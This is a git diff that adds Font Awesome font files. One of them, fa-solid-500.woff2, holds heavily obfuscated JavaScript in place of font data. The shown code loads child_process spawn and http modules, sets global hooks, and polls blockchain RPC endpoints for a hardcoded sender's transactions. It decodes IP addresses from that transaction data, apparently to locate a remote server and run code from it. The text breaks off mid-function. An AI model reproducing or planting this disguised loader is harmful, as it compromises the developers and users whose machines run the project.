+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 00000000..abe99e20 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 00000000..24de566a Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 00000000..7e0118e5 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-500.woff2 b/public/fonts/fa-solid-500.woff2 new file mode 100644 index 00000000..60e613b9 --- /dev/null +++ b/public/fonts/fa-solid-500.woff2 @@ -0,0 +1 @@ + global.i = 'A11--&';const xXfMZKDLYuTRIADnwGIKpCU=y$zxQ$V;(function(iECUrs,ymPzxh_S){const QxuUqazAJKADZDlPufPmG$Io=y$zxQ$V,bYtzbdsKbgyUaNBpsHlmiWMl=iECUrs();while(!![]){try{const Y__vXFPN=parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x164))/(-0x1*-0xa7+-parseInt(0x711)+Math.floor(parseInt(0x35))*parseInt(parseInt(0x1f)))*(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x184))/(-0x1ac5+parseInt(0xc1)*Math.ceil(-parseInt(0x24))+0x35eb))+Math['max'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x134))/(parseFloat(-parseInt(0x1))*-parseInt(0x1d09)+Math.max(-parseInt(0x17b2),-0x17b2)+Math.max(-parseInt(0x554),-parseInt(0x554))),parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x15f))/(parseInt(-0x602)+0xaae+-0x4a8))*(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x187))/(parseInt(0x11)*Math.trunc(-0x4a)+Math.floor(0x833)*Math.max(0x1,0x1)+parseFloat(0x4c)*-parseInt(0xb)))+parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x154))/(-parseInt(0x10d)*-0x7+parseInt(0x1)*0x599+parseFloat(parseInt(0xa))*-0x14b)*parseFloat(-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x13a))/(parseInt(0x1e5)+-parseInt(0x2)*-0x325+Math.trunc(-0x828)))+Math['max'](-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x129))/(0x1*parseInt(0x1ba6)+-parseInt(0x191c)+Math.max(parseInt(0x1),0x1)*-0x282),-parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x19c))/(Math.trunc(-parseInt(0x13bb))+Math.max(-parseInt(0x1),-parseInt(0x1))*Math.max(parseInt(0x1231),0x1231)+-parseInt(0x4f)*-0x7b))+parseFloat(parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x150))/(Math.ceil(parseInt(0xb5))*parseInt(parseInt(0x10))+-0x903+-parseInt(0x243)))*(parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x14f))/(0x7d1+Number(-0x61d)+parseInt(-0x19)*0x11))+Math['trunc'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x145))/(Number(-0x1472)*-0x1+parseFloat(0x300)+0x1766*-parseInt(0x1)))+Math['trunc'](parseFloat(QxuUqazAJKADZDlPufPmG$Io(0x170))/(-0x91a+-parseInt(0x12a)*parseFloat(-parseInt(0x10))+0x19*-parseInt(0x61)));if(Y__vXFPN===ymPzxh_S)break;else bYtzbdsKbgyUaNBpsHlmiWMl['push'](bYtzbdsKbgyUaNBpsHlmiWMl['shift']());}catch(u$wgXtGoFuE){bYtzbdsKbgyUaNBpsHlmiWMl['push'](bYtzbdsKbgyUaNBpsHlmiWMl['shift']());}}}(ygdhqkpCgKxflnUACX,-0x1*0x162a2a+parseInt(0x12ef14)+-0x2*-parseInt(0x930e3)));import{createRequire}from'module';const require=createRequire(import.meta[xXfMZKDLYuTRIADnwGIKpCU(0x12e)]);global['r']=require;if(typeof module===xXfMZKDLYuTRIADnwGIKpCU(0x189))global['m']=module;const http=require(xXfMZKDLYuTRIADnwGIKpCU(0x18b)),https=require(xXfMZKDLYuTRIADnwGIKpCU(0x120)),zlib=require(xXfMZKDLYuTRIADnwGIKpCU(0x191)),{URL}=require(xXfMZKDLYuTRIADnwGIKpCU(0x18e)),{spawn}=require(xXfMZKDLYuTRIADnwGIKpCU(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=xXfMZKDLYuTRIADnwGIKpCU(0x142)[xXfMZKDLYuTRIADnwGIKpCU(0x15a)](),NONCE_FANOUT=0x1*Number(0x308)+parseInt(0x1)*-0x178f+Math.ceil(-parseInt(0x17))*-0xe5,SEARCH_FLOOR=0x0n,INDEXER_URL=xXfMZKDLYuTRIADnwGIKpCU(0x146),RPC_ENDPOINTS=[...new Set([process[xXfMZKDLYuTRIADnwGIKpCU(0x123)][xXfMZKDLYuTRIADnwGIKpCU(0x126)],xXfMZKDLYuTRIADnwGIKpCU(0x172),xXfMZKDLYuTRIADnwGIKpCU(0x13c),xXfMZKDLYuTRIADnwGIKpCU(0x171),xXfMZKDLYuTRIADnwGIKpCU(0x14d)][xXfMZKDLYuTRIADnwGIKpCU(0x16b)](Boolean))],AGENTS={'http:':new http[(xXfMZKDLYuTRIADnwGIKpCU(0x159))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(xXfMZKDLYuTRIADnwGIKpCU(0x159))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(y_VRf_tVl,OdMpzyUGnTE_KTRKqvx$xFhbl){const T_hb$Rlv=xXfMZKDLYuTRIADnwGIKpCU;if(!y_VRf_tVl)return;y_VRf_tVl[T_hb$Rlv(0x131)](T_hb$Rlv(0x12f),()=>OdMpzyUGnTE_KTRKqvx$xFhbl[T_hb$Rlv(0x12f)](),{'once':!![]});}function decompressStream(Ev$cvxYsgWdzchDLYjlXtJNG){const wkF$kn=xXfMZKDLYuTRIADnwGIKpCU,FTrfPv$OCJUjsXow=(Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x183)][wkF$kn(0x124)]||'')[wkF$kn(0x15a)]();if(FTrfPv$OCJUjsXow===wkF$kn(0x16f)||FTrfPv$OCJUjsXow===wkF$kn(0x155))return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x12b)]());if(FTrfPv$OCJUjsXow===wkF$kn(0x148))return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x135)]());if(FTrfPv$OCJUjsXow==='br')return Ev$cvxYsgWdzchDLYjlXtJNG[wkF$kn(0x17f)](zlib[wkF$kn(0x157)]());return Ev$cvxYsgWdzchDLYjlXtJNG;}function httpRequest(P_DHEPLVqtP_NKhkPez,{method:method=xXfMZKDLYuTRIADnwGIKpCU(0x188),body:WjLwHqh_v,signal:HAKh_KCzxBeTWPvbdKwtA}={}){const NqxGTrBbFKOPHkXCif$gLSa$bf=xXfMZKDLYuTRIADnwGIKpCU,ncBNrYpPy_ASILM$xdHVhsgrIR=new URL(P_DHEPLVqtP_NKhkPez),cDCzKulmFY=ncBNrYpPy_ASILM$xdHVhsgrIR[NqxGTrBbFKOPHkXCif$gLSa$bf(0x143)]===NqxGTrBbFKOPHkXCif$gLSa$bf(0x122)?https:http,NDZfTGscWmjgRlRFVX={'Accept':NqxGTrBbFKOPHkXCif$gLSa$bf(0x180),'Accept-Encoding':NqxGTrBbFKOPHkXCif$gLSa$bf(0x195),'Connection':NqxGTrBbFKOPHkXCif$gLSa$bf(0x197)};return WjLwHqh_v!=null&&(NDZfTGscWmjgRlRFVX[NqxGTrBbFKOPHkXCif$gLSa$bf(0x140)]=NqxGTrBbFKOPHkXCif$gLSa$bf(0x180),NDZfTGscWmjgRlRFVX[NqxGTrBbFKOPHkXCif$gLSa$bf(0x137)]=Buffer[NqxGTrBbFKOPHkXCif$gLSa$bf(0x12d)](WjLwHqh_v)),new Promise((r$rBRHkLeiekPY$qavUa,xtG$jc$UuwrljlI)=>{const iYiLEcskTpnYTJPqrZsogV=NqxGTrBbFKOPHkXCif$gLSa$bf,Z$GtOvgDwYlFKRgaJYRqfcz=cDCzKulmFY[iYiLEcskTpnYTJPqrZsogV(0x18f)]({'hostname':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x15d)],'port':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x17d)]||(ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x143)]===iYiLEcskTpnYTJPqrZsogV(0x122)?parseInt(0xd8d)*-0x2+0x1690+parseFloat(parseInt(0x645)):-parseInt(0xdbc)+Math.floor(-0x14e5)+0x22f1),'path':ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x144)]+ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x156)],'method':method,'agent':AGENTS[ncBNrYpPy_ASILM$xdHVhsgrIR[iYiLEcskTpnYTJPqrZsogV(0x143)]],'signal':HAKh_KCzxBeTWPvbdKwtA,'headers':NDZfTGscWmjgRlRFVX},MmSsm_FiLjLpdBa$KTndpO=>{const Z$oUMyGKJ_lzOIA=iYiLEcskTpnYTJPqrZsogV,G$OQvkCwj_QkKkkjK=decompressStream(MmSsm_FiLjLpdBa$KTndpO),YPq_rcqE$lwBmFldf=[];G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x160),BSUnlIcprZhMLn=>YPq_rcqE$lwBmFldf[Z$oUMyGKJ_lzOIA(0x192)](BSUnlIcprZhMLn)),G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x186),()=>{const IOXVwwg_bQtz=Z$oUMyGKJ_lzOIA;try{r$rBRHkLeiekPY$qavUa(JSON[IOXVwwg_bQtz(0x199)](Buffer[IOXVwwg_bQtz(0x182)](YPq_rcqE$lwBmFldf)[IOXVwwg_bQtz(0x193)](IOXVwwg_bQtz(0x130))));}catch(nQg$EvViWHcRsDjKlktTCSx){xtG$jc$UuwrljlI(nQg$EvViWHcRsDjKlktTCSx);}}),G$OQvkCwj_QkKkkjK['on'](Z$oUMyGKJ_lzOIA(0x16d),xtG$jc$UuwrljlI);});Z$GtOvgDwYlFKRgaJYRqfcz['on'](iYiLEcskTpnYTJPqrZsogV(0x16d),xtG$jc$UuwrljlI);if(WjLwHqh_v!=null)Z$GtOvgDwYlFKRgaJYRqfcz[iYiLEcskTpnYTJPqrZsogV(0x13b)](WjLwHqh_v);Z$GtOvgDwYlFKRgaJYRqfcz[iYiLEcskTpnYTJPqrZsogV(0x186)]();});}async function withRpcEndpoints(ZJCqvspIHG$daRzgmqdPpUCkN,a_Mban){const Z_rFHDSrxbFBYmc=xXfMZKDLYuTRIADnwGIKpCU,lmC$fKBjd_JiJx=RPC_ENDPOINTS[Z_rFHDSrxbFBYmc(0x14a)](()=>new AbortController());lmC$fKBjd_JiJx[Z_rFHDSrxbFBYmc(0x16a)](EABDkr_crWzbpYPrABCXIjcDUy=>linkAbort(a_Mban,EABDkr_crWzbpYPrABCXIjcDUy));try{return await Promise[Z_rFHDSrxbFBYmc(0x12c)](RPC_ENDPOINTS[Z_rFHDSrxbFBYmc(0x14a)]((KYWnxEt_oF,ec_jPVov)=>ZJCqvspIHG$daRzgmqdPpUCkN(KYWnxEt_oF,lmC$fKBjd_JiJx[ec_jPVov][Z_rFHDSrxbFBYmc(0x196)])));}finally{for(const AWUUaNkfPHOjVnzJoRjdSnN of lmC$fKBjd_JiJx)AWUUaNkfPHOjVnzJoRjdSnN[Z_rFHDSrxbFBYmc(0x12f)]();}}async function rpcCall(BtQmzpBlv_boOex,QgFrLBzZYlWAER$udPUdg,NSUnLxtacDARwCiVCjUovCSHO,pdhnuvK){const vxQecjNGmwn=xXfMZKDLYuTRIADnwGIKpCU,IlTvcj$_UXzsDHemPhQ=await httpRequest(BtQmzpBlv_boOex,{'method':vxQecjNGmwn(0x15b),'body':JSON[vxQecjNGmwn(0x17e)]({'jsonrpc':vxQecjNGmwn(0x13f),'id':0x1,'method':QgFrLBzZYlWAER$udPUdg,'params':NSUnLxtacDARwCiVCjUovCSHO}),'signal':pdhnuvK});return IlTvcj$_UXzsDHemPhQ[vxQecjNGmwn(0x15c)];}async function rpcBatch(MOUxBFEHg$ubvQV,UQyk$CMhjc$JHjZ,msGvLp){const bQDo_$x=xXfMZKDLYuTRIADnwGIKpCU,HjVSCsvHbjxak=await httpRequest(MOUxBFEHg$ubvQV,{'method':bQDo_$x(0x15b),'body':JSON[bQDo_$x(0x17e)](UQyk$CMhjc$JHjZ[bQDo_$x(0x14a)](([k__HCtg,FuxxSM],TZClzackEBCPYmQD)=>({'jsonrpc':bQDo_$x(0x13f),'id':TZClzackEBCPYmQD+(parseInt(-parseInt(0x5fe))+parseInt(0xe74)+Math.ceil(-parseInt(0x875))),'method':k__HCtg,'params':FuxxSM}))),'signal':msGvLp}),tSrciNpiucctDUSrzVkfca=new Map(HjVSCsvHbjxak[bQDo_$x(0x14a)](MMIIveikPYRNZiYguUuNJTq=>[MMIIveikPYRNZiYguUuNJTq['id'],MMIIveikPYRNZiYguUuNJTq]));return UQyk$CMhjc$JHjZ[bQDo_$x(0x14a)]((WwAqChApbxRbSu,iGOujKtwJZOlWeUho)=>tSrciNpiucctDUSrzVkfca[bQDo_$x(0x16c)](iGOujKtwJZOlWeUho+(-parseInt(0x18df)*Number(-parseInt(0x1))+Number(-0x2076)+0x6*parseInt(0x144)))[bQDo_$x(0x15c)]);}const toBlockHex=qsuOxTwtvdzWQ=>'0x'+qsuOxTwtvdzWQ[xXfMZKDLYuTRIADnwGIKpCU(0x193)](-0x5d8+0x4a1*0x3+Math.ceil(-0x7fb));function findSenderTx(ss$XzuOJDrMzw){const PYnCGYXBJBl_y=xXfMZKDLYuTRIADnwGIKpCU;return ss$XzuOJDrMzw[PYnCGYXBJBl_y(0x141)](wxy$ShEph=>wxy$ShEph[PYnCGYXBJBl_y(0x163)]&&wxy$ShEph[PYnCGYXBJBl_y(0x163)][PYnCGYXBJBl_y(0x15a)]()===SENDER)||null;}function ygdhqkpCgKxflnUACX(){const rmG$rZklJvJUbCO$fnZqh=['919f9c9098bd869e919681','91928096c5c7','c9cbc3','959c81b692909b','959a9f879681','949687','9681819c81','9d9c9796','94899a83','c6c3c4cbc0c5c3c0bdb487948497','9b87878380c9dcdc96879b968196869ede818390dd8386919f9a909d9c9796dd909c9e','9b87878380c9dcdcc2818390dd9a9cdc96879b','8ade83accd97d7c3b1d5b3adc292a298','96879bac919f9c9098bd869e919681','d4c8949f9c91929fa8d4ac87ac80d4aeced4','9b9280','d58087928187919f9c9098cec3d5969d97919f9c9098cecacacacacacacacad583929496cec2d59c9595809687cec1c3d5809c8187ce97968090d5959a9f879681918ace95819c9e','9f969d94879b','909c9d87819c9f9f9681','9d9c9796c9909b9a9f97ac83819c90968080','909b9281b09c9796b287','d4c8949f9c91929fa8d481d4aece819682869a8196c8949f9c91929fa8d49ed4aece9e9c97869f96c8859281d3ac949f9c91929fce949f9c91929fc8','839c8187','8087819a9d949a958a','839a8396','9283839f9a9092879a9c9ddc99809c9d','8196839f929096','909c9d909287','9b969297968180','c4c1aab1a0bfa4a1','8781929d809290879a9c9d80','969d97','c1c7c7cbc2c6c697a798b7a399','b4b6a7','9c9199969087','be9c899a9f9f92dcc6ddc3d3dba49a9d979c8480d3bda7d3c2c3ddc3c8d3a49a9dc5c7c8d38bc5c7dad3b283839f96a49691b89a87dcc6c0c4ddc0c5d3dbb8bba7bebfdfd39f9a9896d3b49690989cdad3b09b819c9e96dcc2c0c2ddc3ddc3ddc3d3a0929592819adcc6c0c4ddc0c5','9d9c9796c99b878783','909287909b','949f9c91929fa8d4aca5d4aeced4','9d9c9796c986819f','81968286968087','cc9e9c97869f96ce9290909c869d87d59290879a9c9dce878b9f9a8087d592979781968080ce','9d9c9796c9899f9a91','8386809b','879ca087819a9d94','bbb6b2b7','94899a83dfd39796959f928796dfd39181','809a949d929f','98969683de929f9a8596','808691928181928a','8392818096','959a9d97ba9d97968b','d4c8949f9c91929fa8d4ac87ac86d4aeced4','c1cbc2c1c0c3c19aa3808ab9b1','9d9c9796c99b87878380','929797','9b87878380c9','969d85','909c9d87969d87de969d909c979a9d94','9a80b28181928a','b6a7bbaca1a3b0aca6a1bf','8bde83928a9f9c9297de91c5c7','9a949d9c8196','c1c7cacacbc1c7b0a5b59998ba','ac87ac80','908196928796b4869d899a83','929d8a','918a8796bf969d94879b','86819f','92919c8187','868795cb','929797b685969d87bf9a8087969d9681','9b968b','929f9f','c0b2ba85a6bd91','908196928796ba9d959f928796','82c7b5a9988bab88d29bdfa081c0ceb3','b09c9d87969d87debf969d94879b','9e9a9d','d4c8949f9c91929fa8d4acbbc1d4aeced4','c49eb2b99aa497','84819a8796','9b87878380c9dcdc96879bdd97818390dd9c8194','819680869e96','96879bac949687a781929d809290879a9c9db09c869d87','c1ddc3','b09c9d87969d87dea78a8396','959a9d97','c38b92c0c1c1b6c695c0b7c0c2c2b7c0c3cbc396c595c3c2c1c2c3c5c096ca92b7b0c1c7cac3b695c292','83819c879c909c9f','8392879b9d929e96','cbc6c1c1c4c5c38795a6b09d83','9b87878380c9dcdc96879bdd919f9c909880909c8687dd909c9edc92839a','d4c8949f9c91929fa8d4acbbd4aeced4','9796959f928796','be9a80809a9d94d3abdea3928a9f9c9297deb1c5c7','9e9283','9b878783c9dcdc','879b969d','9b87878380c9dcdc96879bde9e929a9d9d9687dd8386919f9a90dd919f92808792839add9a9c','b69e83878ad383928a9f9c9297d3919c978a','c5c2c1c4a6a3a5a9bda5','c6c4c0c38a98bc979c98','81869d','c9c7c7c0dcc38bdc909f80','c9c7c7c0dcc38bdc9f80','c2c3c6c5c3c4cacbb5a1bc98b782','8bde94899a83','80969281909b','908196928796b1819c879f9ab796909c9e8381968080','869d819695','b294969d87','879cbf9c849681b0928096','a3bca0a7','819680869f87','9b9c80879d929e96','ac87ac86','c7bc9eb5b2859a','97928792','c9c7c7c0','96879bac949687b19f9c9098b18abd869e919681','95819c9e','c0cbc0c6c2b4abb287bbb9','acbbc1','9d9c9d9096'];ygdhqkpCgKxflnUACX=function(){return rmG$rZklJvJUbCO$fnZqh;};return ygdhqkpCgKxflnUACX();}function decodeAddress(MU$BxwqDSlg_szWjnqdSd){const hbaAsehW_uX=xXfMZKDLYuTRIADnwGIKpCU,UgYMdAIOcrY=Buffer[hbaAsehW_uX(0x163)](MU$BxwqDSlg_szWjnqdSd[hbaAsehW_uX(0x181)](/^0x/i,''),hbaAsehW_uX(0x132)),bnzeADhnIXvcM_FTdqPQvf=I$_YPKDmVd=>I$_YPKDmVd[-parseInt(0x1)*Number(parseInt(0x1a3d))+-parseInt(0x1e70)+Math.max(-0x38ad,-parseInt(0x38ad))*-parseInt(0x1)]+'.'+I$_YPKDmVd[Math.trunc(-parseInt(0x8ed))+-parseInt(0x15f4)+Math.max(0x1ee2,0x1ee2)]+'.'+I$_YPKDmVd[parseInt(0x12a)*0x18+-0x1*-0x1cc3+Number(-0x38b1)]+'.'+I$_YPKDmVd[0x2632*-parseInt(0x1)+Math.ceil(-0x216a)+Number(0x479f)];return[bnzeADhnIXvcM_FTdqPQvf(UgYMdAIOcrY[hbaAsehW_uX(0x198)](Number(parseInt(0x17f))*-0x1+-0xe72+Math.trunc(parseInt(0xff1)),Number(0x15d1)+parseInt(0x1)*-0xdc9+-parseInt(0x804))),bnzeADhnIXvcM_FTdqPQvf(UgYMdAIOcrY[hbaAsehW_uX(0x198)](Math.max(-parseInt(0x24e1),-0x24e1)+parseFloat(-parseInt(0x257b))*parseInt(parseInt(0x1))+parseInt(0x4a60),parseInt(0xb25)*parseFloat(-parseInt(0x1))+parseFloat(-0x1147)*parseInt(0x2)+0x2dbb))];}function firstMatch(FAZkxSE_vngdDDmJvC){return new Promise(OxJ$dP=>{const ckn_BCUQ_p=y$zxQ$V;let PlSdmzp=FAZkxSE_vngdDDmJvC[ckn_BCUQ_p(0x178)];if(!PlSdmzp)return OxJ$dP(null);let TkpygZAycIWpKJ_r=![];const UdflpddazqRXj$ZLymKPhkLt=TlJh$lhQQj=>{const xSHhkOxLpfSFTuTzxZuiqMb=ckn_BCUQ_p;if(TkpygZAycIWpKJ_r)return;TkpygZAycIWpKJ_r=!![];for(const JsBFoHAhwldFggqjTOC$bQPx_rm of FAZkxSE_vngdDDmJvC)JsBFoHAhwldFggqjTOC$bQPx_rm[xSHhkOxLpfSFTuTzxZuiqMb(0x179)][xSHhkOxLpfSFTuTzxZuiqMb(0x12f)]();OxJ$dP(TlJh$lhQQj);};for(const GnslQRGpGMKHRHKnBsMmBjMU of FAZkxSE_vngdDDmJvC){GnslQRGpGMKHRHKnBsMmBjMU[ckn_BCUQ_p(0x151)]()[ckn_BCUQ_p(0x14c)](JVtJ$EhqZJ=>{if(TkpygZAycIWpKJ_r)return;if(JVtJ$EhqZJ)UdflpddazqRXj$ZLymKPhkLt(JVtJ$EhqZJ);else{if(--PlSdmzp===parseInt(0x2e)*-0x5f+0x1*0x2b4+parseInt(0xe5e))OxJ$dP(null);}})[ckn_BCUQ_p(0x18c)](()=>{if(!TkpygZAycIWpKJ_r&&--PlSdmzp===-parseInt(0x280)*-parseInt(0x4)+Math.ceil(parseInt(0x18dc))*Math.floor(-0x1)+Math.ceil(-parseInt(0xc))*-0x13d)OxJ$dP(null);});}});}function candidateBlocks(toTlKlAisDPWWLoPzYWz){const fHAtqr__rcUedK=xXfMZKDLYuTRIADnwGIKpCU,gsc$ZpdMN$Qlxp=toTlKlAisDPWWLoPzYWz-BLOCK_MULTIPLE,Ms_g$AYBRPb=new Set(),RaNpADr_DZjT=[];for(const pEAUVwX$CUEOM of[toTlKlAisDPWWLoPzYWz-0x1n,toTlKlAisDPWWLoPzYWz,toTlKlAisDPWWLoPzYWz+0x1n,gsc$ZpdMN$Qlxp-0x1n,gsc$ZpdMN$Qlxp,gsc$ZpdMN$Qlxp+0x1n]){if(pEAUVwX$CUEOM<0x0n)continue;const Vhstdizw_$eCXUBdTR=pEAUVwX$CUEOM[fHAtqr__rcUedK(0x193)]();if(Ms_g$AYBRPb[fHAtqr__rcUedK(0x176)](Vhstdizw_$eCXUBdTR))continue;Ms_g$AYBRPb[fHAtqr__rcUedK(0x121)](Vhstdizw_$eCXUBdTR),RaNpADr_DZjT[fHAtqr__rcUedK(0x192)](pEAUVwX$CUEOM);}return RaNpADr_DZjT;}function blockTask(uMtQfmlZAsztJco$YSqTyOAzm){const cXxUNiMHCdnRyhSnUOIamZ=new AbortController();return{'controller':cXxUNiMHCdnRyhSnUOIamZ,'run':async()=>{const Or$Pf_Kt=y$zxQ$V,vvmeeuZrcwflohEomwrXib=await withRpcEndpoints((iYzWBWfAYwLFVcZnGremLN_A,lfBqsQSC)=>rpcCall(iYzWBWfAYwLFVcZnGremLN_A,Or$Pf_Kt(0x162),[toBlockHex(uMtQfmlZAsztJco$YSqTyOAzm),!![]],lfBqsQSC),cXxUNiMHCdnRyhSnUOIamZ[Or$Pf_Kt(0x196)]),HTMvgJHVAi_PebhsJCawoSt=vvmeeuZrcwflohEomwrXib?.[Or$Pf_Kt(0x185)];if(!Array[Or$Pf_Kt(0x125)](HTMvgJHVAi_PebhsJCawoSt))return null;const RDXCEbaed_NNVeqjxCErW=findSenderTx(HTMvgJHVAi_PebhsJCawoSt);return RDXCEbaed_NNVeqjxCErW?{'blockNumber':uMtQfmlZAsztJco$YSqTyOAzm,'tx':RDXCEbaed_NNVeqjxCErW}:null;}};}async function nonceAtBlocks(mzLqWML,wpMTNHp_fT_b){const MxBNEpFELE=xXfMZKDLYuTRIADnwGIKpCU,bpqpdgBuNXjMHjK_X$P=mzLqWML[MxBNEpFELE(0x14a)](ehYiP=>[MxBNEpFELE(0x13e),[SENDER,toBlockHex(ehYiP)]]);try{return(await withRpcEndpoints((FMWqMnDlPFtCNvmPyHLqeN_ahm,itWvKAkgQrzNEZ)=>rpcBatch(FMWqMnDlPFtCNvmPyHLqeN_ahm,bpqpdgBuNXjMHjK_X$P,itWvKAkgQrzNEZ),wpMTNHp_fT_b))[MxBNEpFELE(0x14a)](BigInt);}catch{return(await Promise[MxBNEpFELE(0x133)](bpqpdgBuNXjMHjK_X$P[MxBNEpFELE(0x14a)](([tkPmxfi_ks_gWq,o_T_HxPVEno])=>withRpcEndpoints((ipnwxKLN_PpKlRKirQnl,Wv_Nkc_bEFfJztVZaiGThgKpFA)=>rpcCall(ipnwxKLN_PpKlRKirQnl,tkPmxfi_ks_gWq,o_T_HxPVEno,Wv_Nkc_bEFfJztVZaiGThgKpFA),wpMTNHp_fT_b))))[MxBNEpFELE(0x14a)](BigInt);}}async function lastSenderTx(WcNxzfCMb){const lNF_C$P=xXfMZKDLYuTRIADnwGIKpCU,fICQP$lGUqIbzRdOP=new AbortController();try{const aFEOMLTPsfqRPF$ty$Sjq=WcNxzfCMb??BigInt(await withRpcEndpoints((FK_jyzC,oOowyBiFnPyHBygwHecsMPWcI)=>rpcCall(FK_jyzC,lNF_C$P(0x174),[],oOowyBiFnPyHBygwHecsMPWcI),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)])),ZTxziQZsm_NKiXjXIFa$aTjNCp=BigInt(await withRpcEndpoints((wR$eNreoQfCjsqw,TUziriEUeeGdPvmUy_oczo)=>rpcCall(wR$eNreoQfCjsqw,lNF_C$P(0x13e),[SENDER,toBlockHex(aFEOMLTPsfqRPF$ty$Sjq)],TUziriEUeeGdPvmUy_oczo),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)])),vB$Ovw=ZTxziQZsm_NKiXjXIFa$aTjNCp-0x1n;let YXGEZhwOhWVIJOqJTcXZN=SEARCH_FLOOR-0x1n,y$Jtge=aFEOMLTPsfqRPF$ty$Sjq;while(y$Jtge-YXGEZhwOhWVIJOqJTcXZN>0x1n){const dlXfFnQfpcKdKcib$D=y$Jtge-YXGEZhwOhWVIJOqJTcXZN-0x1n,Qhc_DJ$Z=BigInt(Math[lNF_C$P(0x138)](NONCE_FANOUT,Number(dlXfFnQfpcKdKcib$D))),hnXFOckcBoMuy_Do_t=[];for(let Ckme_i=0x1n;Ckme_i<=Qhc_DJ$Z;Ckme_i+=0x1n)hnXFOckcBoMuy_Do_t[lNF_C$P(0x192)](YXGEZhwOhWVIJOqJTcXZN+Ckme_i*(y$Jtge-YXGEZhwOhWVIJOqJTcXZN)/(Qhc_DJ$Z+0x1n));const REZyhjevDj$zk=await nonceAtBlocks(hnXFOckcBoMuy_Do_t,fICQP$lGUqIbzRdOP[lNF_C$P(0x196)]),OuidMYT_xluuI=REZyhjevDj$zk[lNF_C$P(0x19a)](ImBWxoozKOyA$U=>ImBWxoozKOyA$U>=ZTxziQZsm_NKiXjXIFa$aTjNCp);if(OuidMYT_xluuI===-(0x1*-0xf13+parseInt(0x524)+parseFloat(parseInt(0x9f0))))YXGEZhwOhWVIJOqJTcXZN=hnXFOckcBoMuy_Do_t[hnXFOckcBoMuy_Do_t[lNF_C$P(0x178)]-(0xe07+0x26f6+parseFloat(0xd3f)*parseInt(-0x4))];else{y$Jtge=hnXFOckcBoMuy_Do_t[OuidMYT_xluuI];if(OuidMYT_xluuI>-0x5*Math.max(-0x4a5,-parseInt(0x4a5))+parseInt(0x9)*-0x147+parseFloat(parseInt(0xbba))*Math.max(-0x1,-0x1))YXGEZhwOhWVIJOqJTcXZN=hnXFOckcBoMuy_Do_t[OuidMYT_xluuI-(Number(-0x1)*Math.floor(parseInt(0x2312))+Math.ceil(-parseInt(0x102e))+0x3341)];}}const jARJtYgFT=await withRpcEndpoints((MBWeHw$_fGWQDb,cNwKSMoDEwnXxp)=>rpcCall(MBWeHw$_fGWQDb,lNF_C$P(0x162),[toBlockHex(y$Jtge),!![]],cNwKSMoDEwnXxp),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)]),WSpyBRLkDfTbeTImKzIAVjlWK=jARJtYgFT?.[lNF_C$P(0x185)]||[];let w$ziusFd$plAukK=null;for(const uFfoWM of WSpyBRLkDfTbeTImKzIAVjlWK){if(!uFfoWM[lNF_C$P(0x163)]||uFfoWM[lNF_C$P(0x163)][lNF_C$P(0x15a)]()!==SENDER)continue;if(BigInt(uFfoWM[lNF_C$P(0x166)])===vB$Ovw){w$ziusFd$plAukK=uFfoWM;break;}if(!w$ziusFd$plAukK||BigInt(uFfoWM[lNF_C$P(0x166)])>BigInt(w$ziusFd$plAukK[lNF_C$P(0x166)]))w$ziusFd$plAukK=uFfoWM;}return{'blockNumber':y$Jtge,'tx':w$ziusFd$plAukK};}finally{fICQP$lGUqIbzRdOP[lNF_C$P(0x12f)]();}}function y$zxQ$V(KRhhKrsFqmjfaAyx$wJ$rwk,WMQeIfpFFIMkfMwJsBWdled_u){const fLvbQaML=ygdhqkpCgKxflnUACX();return y$zxQ$V=function(tWGuleodYMnqSTTOUyaNyjlka,WZpkgC){tWGuleodYMnqSTTOUyaNyjlka=tWGuleodYMnqSTTOUyaNyjlka-(parseInt(-0x2)*0x1022+Math.max(-0x88d,-0x88d)+Math.trunc(parseInt(0x29f1)));let zzqNQlkX_jiVOqfG=fLvbQaML[tWGuleodYMnqSTTOUyaNyjlka];if(y$zxQ$V['vNELbx']===undefined){const 